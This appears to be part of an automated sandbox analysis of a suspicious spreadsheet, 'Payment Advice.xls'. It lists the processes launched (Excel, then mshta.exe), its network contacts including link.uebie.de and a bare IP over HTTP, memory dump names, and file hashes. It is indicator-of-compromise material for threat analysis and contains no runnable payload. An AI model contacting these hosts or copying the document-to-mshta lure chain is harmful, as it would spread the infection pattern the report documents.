Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.108.45.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.49.80.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/4584-1-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp
memory/4584-0-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp
memory/4584-3-0x00007FFC4C48D000-0x00007FFC4C48E000-memory.dmp
memory/4584-2-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp
memory/4584-4-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp
memory/4584-7-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-6-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-8-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp
memory/4584-5-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-9-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-11-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp
memory/4584-13-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-12-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-10-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-14-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp
memory/4584-20-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-19-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-18-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-17-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-16-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-15-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-40-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-43-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-45-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-44-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-46-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/4584-48-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-52-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp
memory/2016-53-0x00007FF7AB380000-0x00007FF7AB388000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 5f85afc9fdba54aa709530957d864f4c |
| SHA1 | ce961fcdbb037aa6e61f0f7ada6a832d38f8c264 |
| SHA256 | 85544a90b8302082533205f0eaa3283282f91618211fa8ba002c3245a8155c1a |
| SHA512 | 237a2ad5c31cbe534b931b76ee527aac482472eb94f4877d03471e88b24374e8890391854ea7f042a64e5d91fc7171e9e0f219c5cb34109ff486cd46a642d6f9 |